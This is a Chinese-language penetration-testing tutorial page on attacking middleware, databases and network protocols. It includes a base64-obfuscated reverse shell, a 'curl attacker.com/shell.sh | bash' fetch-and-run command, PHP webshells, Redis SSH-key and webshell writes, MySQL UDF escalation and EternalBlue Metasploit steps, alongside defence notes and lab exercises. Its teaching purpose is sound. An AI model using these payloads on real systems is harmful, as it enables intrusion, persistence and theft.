云计算百科
云计算领域专业知识百科平台

服务攻防矩阵

4.1 中间件漏洞利用

WebLogic反序列化漏洞(CVE-2023-21839)
  • 漏洞原理:

  • T3协议反序列化未严格校验,攻击者可注入恶意序列化对象执行任意代码。

  • 攻击流程:

  • 使用ysoserial生成CommonsCollections6 payload:
  • java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

  • 通过T3协议发送payload:
  • python3 weblogic.py 192.168.1.100:7001 payload.bin

    • 防御方案:

    • 升级至官方补丁版本

    • 禁用T3协议或配置IP白名单

    Shiro RememberMe反序列化(CVE-2016-4437)
    • 漏洞检测:

    • 检查Cookie中rememberMe=deleteMe字段是否存在Shiro特征

    • 利用工具:

    python3 shiro_exploit.py -t http://target.com -p CommonsBeanutils1 -c "curl http://attacker.com/shell.sh | bash"

    • 密钥爆破:

    • 使用shiro_attack.jar加载常见密钥列表(如kPH+bIxk5D2deZiIxcaaaA==)

    Redis未授权访问
    • 写SSH密钥:

    config set dir /root/.ssh

    config set dbfilename authorized_keys

    set x "\\n\\nssh-rsa AAAAB3NzaC1yc2E…\\n\\n"

    save

    • 写WebShell:

    config set dir /var/www/html

    set shell "<?php @eval($_POST[cmd]);?>"

    config set dbfilename shell.php

    save

    • 防御方案:

    • 绑定127.0.0.1并设置强密码

    • 禁用CONFIG/SAVE等高危命令

    实践任务
    • 使用Docker搭建Shiro 1.2.4靶场,利用默认密钥反弹Shell

    • 通过Redis未授权访问写入计划任务(/etc/crontab)实现持久化


    4.2 数据库渗透

    MySQL提权技术
    • UDF提权(Linux):
  • 上传恶意so文件:
  • SELECT 0x7F454C46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'

  • 创建函数执行命令:
  • CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';

    SELECT sys_exec('chmod +s /bin/bash');

    • 日志文件写入WebShell:

    SET global general_log_file='/var/www/html/shell.php';

    SET global general_log=on;

    SELECT '<?php system($_GET["cmd"]);?>';

    MongoDB注入与未授权访问
    • NoSQL注入利用:

    // 原始查询

    db.users.find({user: "admin", pass: "123"})

    // 攻击载荷

    db.users.find({user: "admin", pass: {"$ne": ""}})

    • 未授权访问利用:

    mongo 192.168.1.100:27017

    > db.adminCommand({listDatabases:1})

    > db.getUser("admin")

    防御方案
    • 最小化权限:数据库账户仅授予必要权限(禁止FILE_PRIV)

    • 网络隔离:数据库服务不暴露公网,限制访问IP

    实践任务
    • 利用MySQL写入WebShell获取服务器权限

    • 通过MongoDB未授权访问导出用户数据


    4.3 协议层漏洞

    SMB永恒之蓝(MS17-010)
    • Metasploit利用:

    msf6 > use exploit/windows/smb/ms17_010_eternalblue

    msf6 > set RHOSTS 192.168.1.200

    msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

    msf6 > exploit

    • 手工检测:

    nmap -p445 –script smb-vuln-ms17-010 192.168.1.0/24

    SNMP弱口令与信息泄露
    • 社区名爆破:

    onesixtyone -c dict.txt 192.168.1.100

    • 敏感信息提取:

    snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.1.5.0 # 获取主机名

    snmpwalk -v2c -c private 192.168.1.100 1.3.6.1.2.1.25.4.2.1.2 # 进程列表

    防御方案
    • 禁用SMBv1:

    Set-ItemProperty Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters" SMB1 Type DWORD Value 0

    • SNMP加固:

    • 修改默认community名称

    • 配置ACL限制访问源

    实践任务
    • 使用永恒之蓝攻击Windows 7靶机,获取SYSTEM权限

    • 通过SNMP协议提取目标设备的ARP表


    技术整合与防御体系

    企业级服务加固清单
  • 中间件层:
    • 定期更新至稳定版本

    • 删除默认管理页面(如Tomcat的/manager/html)

  • 数据库层:
    • 启用SSL加密通信

    • 审计数据库日志中的异常查询

  • 协议层:
    • 关闭非必要协议(如Telnet/FTP)

    • 部署网络IDS检测异常SMB流量

    红队攻击链示例
  • 通过Shiro反序列化获取Web服务器权限

  • 利用Redis未授权访问横向跳转到数据库服务器

  • 通过MySQL提权建立SSH隧道进入内网


  • 学习建议

  • 靶场环境:搭建Vulhub、VulnApp等集成化漏洞环境

  • 武器库开发:编写自动化服务探测脚本(如SMB扫描器)

  • 攻防演练:参与HTB(Hack The Box)中服务类靶机挑战

  • 本部分内容将帮助学习者掌握企业级服务攻防核心技术,从单点漏洞利用进阶到APT级横向渗透,构建纵深防御体系。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 服务攻防矩阵
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!